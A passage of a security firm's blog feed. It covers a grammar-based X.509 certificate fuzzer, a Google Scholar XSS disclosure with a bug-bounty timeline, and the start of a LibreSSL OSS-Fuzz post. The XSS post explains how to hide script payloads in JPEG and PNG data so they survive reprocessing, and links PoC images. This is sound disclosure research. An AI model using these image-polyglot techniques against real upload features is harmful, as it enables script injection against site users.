&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You may recognize some of these fields from inspecting a certificate using a browser integrated viewer.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/browsercert.png&quot; title=&quot;Doyensec X509 certificate&quot; alt=&quot;Doyensec X509 certificate&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;Finding out what exactly should go inside a TLS certificate and how it should be interpreted was not an easy task -  specifications were scattered inside a lot of RFCs and other standards, sometimes with partial or even conflicting information. Some &lt;a href=&quot;http://www.cs.auckland.ac.nz/~pgut001/pubs/x509guide.txt&quot;&gt;documents from the recent past&lt;/a&gt; offer a good insight into the number of contradictory interpretations.
Nowadays there seems to be more convergence, and a good place to start when looking for how a TLS certificate should be handled is the RFCs together with a couple of widely used TLS libraries.&lt;/p&gt;

&lt;h2 id=&quot;fuzzing-tls-starting-from-asn1&quot;&gt;Fuzzing TLS starting from ASN.1&lt;/h2&gt;

&lt;h3 id=&quot;previous-work&quot;&gt;Previous work&lt;/h3&gt;

&lt;p&gt;All the high profile TLS libraries include some fuzzing harnesses directly in their source tree and most are even continuously fuzzed (like LibreSSL which is &lt;a href=&quot;https://blog.doyensec.com/2020/04/08/libressl-fuzzer.html&quot;&gt;now included in oss-fuzz&lt;/a&gt; thanks to my colleague Andrea). Most libraries use tried-and-tested fuzzers like AFL or libFuzzer, which are not encoding or syntax aware. This very likely means that many cycles are wasted generating and testing inputs which are rejected early by the parsers.&lt;/p&gt;

&lt;p&gt;X.509 parsers have been fuzzed using many approaches. &lt;a href=&quot;http://www.cs.columbia.edu/~suman/docs/frankencert.pdf&quot;&gt;Frankencert&lt;/a&gt;, for instance, generates certificates by combining parts from existing ones, while &lt;a href=&quot;https://github.com/franziskuskiefer/CertificateFuzzer&quot;&gt;CertificateFuzzer&lt;/a&gt; uses a hand-coded grammar. Some fuzzing efforts are more targeted towards discovering memory-corruption types of bugs, while others are more geared towards discovering logic bugs, often comparing the behavior of multiple parsers side by side to detect inconsistencies.&lt;/p&gt;

&lt;h3 id=&quot;asn1fuzz&quot;&gt;ASN1Fuzz&lt;/h3&gt;

&lt;p&gt;I wanted a tool capable of generating valid inputs from an ASN.1 grammar, so that I can slightly break them and hopefully find some vulnerabilities.
I couldn’t find any tool accepting ASN.1 grammars, so I decided to build one myself.&lt;/p&gt;

&lt;p&gt;After a lot of experimentation and three full rewrites, I have a pipeline that generates valid X509 certificates which looks like this&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;     +-------+
     | ASN.1 |
     +---+---+
         |
      pycrate
         |
 +-------v--------+        +--------------+
 | Python classes |        |  User Hooks  |
 +-------+--------+        +-------+------+
         |                         |
         +-----------+-------------+
                     |
                 Generator
                     |
                     |
                 +---v---+
                 |       |
                 |  AST  |
                 |       |
                 +---+---+
                     |
                  Encoder
                     |
               +-----v------+
               |            |
               |   Output   |
               |            |
               +------------+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;First, I compile the ASN.1 grammar using &lt;a href=&quot;https://github.com/P1sec/pycrate/&quot;&gt;pycrate&lt;/a&gt;, one of the few FOSS compilers that support most of the advanced features of ASN.1.&lt;/p&gt;

&lt;p&gt;The output of the compiler is fed into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Generator&lt;/code&gt;. With a lot of introspection inside the pycrate classes, this component generates random ASTs conforming to the input grammar.
The ASTs can be fed to an encoder (e.g. DER) to create a binary output suitable for being tested with the target application.&lt;/p&gt;

&lt;p&gt;Certificates produced like this would not be valid, because many constraints are not encoded in the syntax. Moreover, I wanted to give the user total freedom to manipulate the generator behavior.
To solve this problem I developed a handy hooking system which allows overrides at any point in the generator:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pycrate_asn1dir.X509_2016&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AuthenticationFramework&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;generator&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Generator&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;spec&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AuthenticationFramework&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Certificate&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;cert_generator&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Generator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cert_generator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value_hook&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Certificate/toBeSigned/validity/notBefore/.*&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;generate_notBefore&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;generator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Generator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;now&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;now&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;365&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;# 10 years ago
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;randint&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cert_generator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node_hook&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Certificate/toBeSigned/extensions/_item_[^/]*/&quot;&lt;/span&gt; \
                          &lt;span class=&quot;s&quot;&gt;&quot;extnValue/ExtnType/_cont_ExtnType/keyIdentifier&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;force_akid_generation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;generator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Generator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# keyIdentifier should be present unless the certificate is self-signed
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;generator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;generate_node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ignore_hooks&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cert_generator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value_hook&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Certificate/signature&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;generate_signature&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;generator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Generator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# (... compute signature ...)
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;siglen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The AST generated by this pipeline can be already used for differential testing. For instance, if a library accepts the certificate while others don’t, there may be a problem that requires manual investigation.&lt;/p&gt;

&lt;p&gt;In addition, the ASTs can be mutated using a &lt;a href=&quot;https://github.com/AFLplusplus/AFLplusplus/blob/master/docs/custom_mutators.md&quot;&gt;custom mutator for AFL++&lt;/a&gt; which performs random operations on the tree.&lt;/p&gt;

&lt;p&gt;ASN1Fuzz is currently research-quality code, but I do aim at open sourcing it at some point in the future. Since the generation starts from ASN.1 grammars, the tool is not limited to generating TLS certificates, and it could be leveraged in fuzzing a &lt;a href=&quot;https://www.itu.int/en/ITU-T/asn1/Pages/Application-fields-of-ASN-1.aspx&quot;&gt;plethora of other protocols&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Stay tuned for the next blog post where I will present the results from this research!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Researching Polymorphic Images for XSS on Google Scholar</title>
   <link href="https://blog.doyensec.com/2020/04/30/polymorphic-images-for-xss.html"/>
   <updated>2020-04-30T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2020/04/30/polymorphic-images-for-xss</id>
   <content type="html">&lt;p&gt;A few months ago I came across a curious design pattern on &lt;a href=&quot;https://scholar.google.com/&quot;&gt;Google Scholar&lt;/a&gt;. Multiple screens of the web application were fetched and rendered using a combination of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;location.hash&lt;/code&gt; parameters and XHR to retrieve the supposed templating snippets from a relative URI, rendering them on the page unescaped.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/scholar-issue.png&quot; title=&quot;Google Scholar's design pattern&quot; alt=&quot;Google Scholar's design pattern&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;This is not dangerous per se, unless the platform lets users upload arbitrary content and serve it from the same origin, which unfortunately Google Scholar does, given its image upload functionality.&lt;/p&gt;

&lt;p&gt;While any penetration tester worth her salt would deem the exploitation of the issue trivial, Scholar’s image processing backend was applying different transformations to the uploaded images (i.e. stripping metadata and reprocessing the picture). When reporting the vulnerability, Google’s VRP team did not consider the upload of a polymorphic image carrying a valid XSS payload possible, and instead requested a PoC||GTFO.&lt;/p&gt;

&lt;p&gt;Given the age of this technique, I first went through all past “well-known” techniques to generate polymorphic pictures, and then developed a test suite to investigate the behavior of some of the most popular libraries for image processing (i.e. Imagemagick, GraphicsMagick, Libvips). This effort led to the discovery of some interesting caveats. Some of these methods can also be used to conceal web shells or Javascript content to &lt;a href=&quot;https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs&quot;&gt;bypass “self” CSP directives&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;payload-in-exif&quot;&gt;Payload in EXIF&lt;/h3&gt;

&lt;p&gt;The easiest approach is to embed our payload in the metadata of the image. In the case of JPEG/JFIF, these pieces of metadata are stored in application-specific markers (called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;APPX&lt;/code&gt;), but they are not taken into account by the majority of image libraries. &lt;a href=&quot;https://exiftool.org/&quot;&gt;Exiftool&lt;/a&gt; is a popular tool to edit those entries, but you may find that in some cases the characters will get entity-escaped, so I resorted to inserting them manually.
In the hope of Google’s Scholar preserving some whitelisted EXIFs, I created an image having 1.2k common EXIF tags, including &lt;a href=&quot;http://www.cipa.jp/std/std-sec_e.html&quot;&gt;CIPA&lt;/a&gt; standard and non-standard tags.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/payload_in_all_known_metadata.jpg&quot; title=&quot;JPG having the plain XSS alert() payload in every common metadata field&quot; alt=&quot;JPG having the plain XSS alert() payload in every common metadata field&quot; align=&quot;center&quot; style=&quot;padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;&quot; /&gt;
	&lt;img src=&quot;../../../public/images/payload_in_all_known_metadata.png&quot; title=&quot;PNG having the plain XSS alert() payload in every common metadata field&quot; alt=&quot;PNG having the plain XSS alert() payload in every common metadata field&quot; align=&quot;center&quot; style=&quot;padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;While that didn’t work in my case, some of the EXIF entries are to this day kept in many popular web platforms. In most of the image libraries tested, PNG metadata is always kept when converting from PNG to PNG, while they are always lost from PNG to JPG.&lt;/p&gt;

&lt;h3 id=&quot;payload-concatenated-at-the-end-of-the-image-after-0xffd9-for-jpgs-or-iend-for-pngs&quot;&gt;Payload concatenated at the end of the image (after 0xFFD9 for JPGs or IEND for PNGs)&lt;/h3&gt;

&lt;p&gt;This technique will only work if no transformations are performed on the uploaded image, since only the image content is processed.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/payload_in_trailer.jpg&quot; title=&quot;JPG having the plain XSS alert() payload after the trailing 0xFFD9 chunk&quot; alt=&quot;JPG having the plain XSS alert() payload after the trailing 0xFFD9 chunk&quot; align=&quot;center&quot; style=&quot;width: 250px; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;&quot; /&gt;
	&lt;img src=&quot;../../../public/images/payload_in_trailer.png&quot; title=&quot;PNG having the plain XSS alert() payload after the trailing IEND chunk&quot; alt=&quot;PNG having the plain XSS alert() payload after the trailing IEND chunk&quot; align=&quot;center&quot; style=&quot;width: 250px; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;As the name suggests, the trick involves appending the JavaScript payload at the end of the image format.&lt;/p&gt;

&lt;h3 id=&quot;payload-in-pngs-idat&quot;&gt;Payload in PNG’s iDAT&lt;/h3&gt;

&lt;p&gt;In PNGs, the iDAT chunk stores the pixel information. Depending on the transformations applied, you may be able to directly insert your raw payload in the iDAT chunks or you may &lt;a href=&quot;https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/&quot;&gt;try to bypass&lt;/a&gt; the resize and re-sampling operations. Google’s Scholar only generated JPG pictures so I could not leverage this technique.&lt;/p&gt;

&lt;h3 id=&quot;payload-in-jpgs-ecs&quot;&gt;Payload in JPG’s ECS&lt;/h3&gt;

&lt;p&gt;In the JFIF standard, the entropy-coded data segment (ECS) contains the output of the raw Huffman-compressed bitstream which represents the Minimum Coded Unit (MCU) that comprises the image data. In theory, it is possible to position our payload in this segment, but there are no guarantees that our payload will survive the transformation applied by the image library on the server. Creating a JPG image resistant to the transformations caused by the library was a process of trial and error.&lt;/p&gt;

&lt;p&gt;As a starting point I crafted a “base” image with the same quality factors as the images resulting from the conversion. For this I ended up using &lt;a href=&quot;https://github.com/ianare/exif-samples/blob/master/jpg/tests/67-0_length_string.jpg&quot;&gt;this image&lt;/a&gt; having 0-length-string EXIFs. Even though having the payload positioned at a variable offset from the beginning of the section did not work, I found that when processed by Google Scholar the first bytes of the image’s ECS section were kept if separated by a pattern of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x14&lt;/code&gt; bytes.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/ecs-xss-hex-view.png&quot; title=&quot;Hexadecimal view of the JFIF structure, with the payload visible in the ECS section&quot; alt=&quot;Hexadecimal view of the JFIF structure, with the payload visible in the ECS section&quot; align=&quot;center&quot; style=&quot;padding: 2px; border-radius: 5px; display: inline-block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;From here it took me a little time to find the right sequence of bytes allowing the payload to survive the transformation, since the majority of user agents were not tolerating low-value bytes in the script tag definition of the page. For anyone interested, we have made available the images embedding the &lt;a href=&quot;/public/images/onclick-xss-ecs.jpeg&quot;&gt;onclick&lt;/a&gt; and &lt;a href=&quot;/public/images/mouseover-xss-ecs.jpeg&quot;&gt;mouseover&lt;/a&gt; events. Our image library test suite is available on Github as &lt;a href=&quot;https://github.com/doyensec/StandardizedImageProcessingTest&quot;&gt;doyensec/StandardizedImageProcessingTest&lt;/a&gt;.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/scholar-xss-poc-proof.png&quot; title=&quot;Exploitation result of the XSS PoC on Scholar&quot; alt=&quot;Exploitation result of the XSS PoC on Scholar&quot; align=&quot;center&quot; style=&quot;padding: 2px; border-radius: 5px; display: inline-block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;[2019-09-28]&lt;/strong&gt; &lt;em&gt;Reported to Google VRP&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;[2019-09-30]&lt;/strong&gt; &lt;em&gt;Google’s VRP requested a PoC&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;[2019-10-04]&lt;/strong&gt; &lt;em&gt;Provided PoC #1&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;[2019-10-10]&lt;/strong&gt; &lt;em&gt;Google’s VRP requested a different payload for PoC&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;[2019-10-11]&lt;/strong&gt; &lt;em&gt;Provided PoC #2&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;[2019-11-05]&lt;/strong&gt; &lt;em&gt;Google’s VRP confirmed the issue in 2 endpoints, rewarded $6267.40&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;[2019-11-19]&lt;/strong&gt; &lt;em&gt;Google’s VRP found another XSS using the same technique, rewarded an additional $3133.70&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>LibreSSL and OSS-Fuzz</title>
   <link href="https://blog.doyensec.com/2020/04/08/libressl-fuzzer.html"/>
   <updated>2020-04-08T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2020/04/08/libressl-fuzzer</id>
   <content type="html">&lt;h1 id=&quot;the-story-of-a-fuzzing-integration-reward&quot;&gt;The story of a fuzzing integration reward&lt;/h1&gt;

&lt;p&gt;In my first month at Doyensec I had the opportunity to bring together both my work and my spare time hobbies.
I used the 25% research time offered by Doyensec to integrate the &lt;a href=&quot;https://www.libressl.org/&quot;&gt;LibreSSL&lt;/a&gt; library into &lt;a href=&quot;https://opensource.google.com/projects/oss-fuzz&quot;&gt;OSS-Fuzz&lt;/a&gt;.
LibreSSL is an API compatible replacement for &lt;a href=&quot;https://www.openssl.org/&quot;&gt;OpenSSL&lt;/a&gt;,
and after the &lt;a href=&quot;http://heartbleed.com/&quot;&gt;heartbleed&lt;/a&gt; attack, it is considered as a full-fledged
replacement of OpenSSL on &lt;a href=&quot;https://www.openbsd.org&quot;&gt;OpenBSD&lt;/a&gt;, &lt;a href=&quot;https://www.apple.com/macos&quot;&gt;macOS&lt;/a&gt; and &lt;a href=&quot;https://voidlinux.org/&quot;&gt;VoidLinux&lt;/a&gt;.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
        &lt;img src=&quot;../../../public/images/libressl.jpg&quot; title=&quot;OSS-Fuzz Fuzzying Process&quot; alt=&quot;OSS-Fuzz Fuzzying Process&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;Contextually to this research, we were &lt;a href=&quot;https://www.google.com/about/appsecurity/patch-rewards/&quot;&gt;awarded by Google&lt;/a&gt; a &lt;strong&gt;$10,000 bounty&lt;/strong&gt;,
100% of which was donated to the &lt;a href=&quot;https://www.cancerresearch.org/join-the-cause/donate&quot;&gt;Cancer Research Institute&lt;/a&gt;. The fuzzer also discovered &lt;strong&gt;14+ new vulnerabilities&lt;/strong&gt; and four of these were directly related to memory corruption.&lt;/p&gt;

&lt;p&gt;In the following paragraphs we will walk through the process of porting a new project over to &lt;a href=&quot;https://opensource.google.com/projects/oss-fuzz&quot;&gt;OSS-Fuzz&lt;/a&gt;
from following the community provided steps all the way to the actual code porting and we will also show a vulnerability fixed in &lt;a href=&quot;https://github.com/libressl-portable/openbsd/commit/136e6c997f476cc65e614e514ac3bf6ee54fc4b4&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;136e6c997f476cc65e614e514ac3bf6ee54fc4b4&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;commit 136e6c997f476cc65e614e514ac3bf6ee54fc4b4
Author: beck &amp;lt;&amp;gt;
Date:   Sat Mar 23 18:48:15 2019 +0000

    Add range checks to varios ASN1_INTEGER functions to ensure the
    sizes used remain a positive integer. Should address issue
    13799 from oss-fuzz
    ok tb@ jsing@

 src/lib/libcrypto/asn1/a_int.c    | 56 +++++++++++++++++++++++++++++++++++++++++++++++++++++---
 src/lib/libcrypto/asn1/tasn_prn.c |  8 ++++++--
 src/lib/libcrypto/bn/bn_lib.c     |  4 +++-
 3 files changed, 62 insertions(+), 6 deletions(-)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;the-foss-historician-blurry-book&quot;&gt;The FOSS historician blurry book&lt;/h2&gt;

&lt;p&gt;As a &lt;a href=&quot;https://voidlinux.org/&quot;&gt;voidlinux maintainer&lt;/a&gt;, I’m a long time &lt;a href=&quot;https://www.libressl.org/&quot;&gt;LibreSSL&lt;/a&gt; user and proponent.
&lt;a href=&quot;https://www.libressl.org/&quot;&gt;LibreSSL&lt;/a&gt; is a version of the TLS/crypto stack forked from OpenSSL in 2014 with the goals of modernizing the codebase,
improving security, and applying best practice development procedures. The motivation for this kind of fork arose after the discovery of the &lt;a href=&quot;http://heartbleed.com/&quot;&gt;Heartbleed&lt;/a&gt; vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.libressl.org/&quot;&gt;LibreSSL&lt;/a&gt;’s efforts are aimed at removing code considered useless for the target platforms,
removing code smells and including additional secure defaults at the cost of compatibility.
The &lt;a href=&quot;https://www.libressl.org/&quot;&gt;LibreSSL&lt;/a&gt; codebase is now nearly 70% the size of &lt;a href=&quot;https://www.openssl.org/&quot;&gt;OpenSSL&lt;/a&gt; (237558 cloc vs 335485 cloc),
while implementing a similar API on all the major modern operating systems.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Forking is considered a Bad Thing not merely because it implies a lot of wasted effort in the future, but because forks tend to be accompanied by a great deal of strife and acrimony between the successor groups over issues of legitimacy, succession, and design direction. There is serious social pressure against forking. As a result, major forks (such as the Gnu-Emacs/XEmacs split, the fissioning of the 386BSD group into three daughter projects, and the short-lived GCC/EGCS split) are rare enough that they are remembered individually in hacker folklore.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Eric Raymond&lt;/em&gt; &lt;strong&gt;Homesteading the Noosphere&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The &lt;a href=&quot;https://www.libressl.org/&quot;&gt;LibreSSL&lt;/a&gt; effort was generally well received and it now replaces &lt;a href=&quot;https://www.openssl.org/&quot;&gt;OpenSSL&lt;/a&gt; on &lt;a href=&quot;https://www.openbsd.org&quot;&gt;OpenBSD&lt;/a&gt;,
&lt;a href=&quot;https://www.apple.com/macos&quot;&gt;macOS&lt;/a&gt; since 10.11 and on many other Linux distributions.
In the first few years 6 critical vulnerabilities were found in OpenSSL and none of them affected &lt;a href=&quot;https://www.libressl.org/&quot;&gt;LibreSSL&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Historically, these kinds of forks tend to spawn competing
projects which cannot later exchange code, splitting the potential pool of developers between them.
However, the &lt;a href=&quot;https://www.libressl.org/&quot;&gt;LibreSSL&lt;/a&gt; team has largely demonstrated of being able to merge and implement
new OpenSSL code and bug fixes, all the while slimming down the original source code and cutting down on rarely used or dangerous features.&lt;/p&gt;

&lt;h2 id=&quot;oss-fuzz-selection&quot;&gt;OSS-Fuzz Selection&lt;/h2&gt;

&lt;p&gt;While the development of &lt;a href=&quot;https://www.libressl.org/&quot;&gt;LibreSSL&lt;/a&gt; appears to be a story with an happy ending, the integration of fuzzing and security auditing into the project was much less so.
The &lt;a href=&quot;http://heartbleed.com/&quot;&gt;Heartbleed&lt;/a&gt; vulnerability was like a wakeup call to the industry for tackling the security of libraries that
make up the core of the internet. In particular, Google opened up &lt;a href=&quot;https://opensource.google.com/projects/oss-fuzz&quot;&gt;OSS-Fuzz project&lt;/a&gt;.
&lt;a href=&quot;https://opensource.google.com/projects/oss-fuzz&quot;&gt;OSS-Fuzz&lt;/a&gt; is an effort to provide, for free, Google infrastructure to perform &lt;a href=&quot;https://en.wikipedia.org/wiki/Fuzzing&quot;&gt;fuzzing&lt;/a&gt; against
the most popular open source libraries. One of the first projects performing these tests was in fact &lt;a href=&quot;https://www.openssl.org/&quot;&gt;Openssl&lt;/a&gt;.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
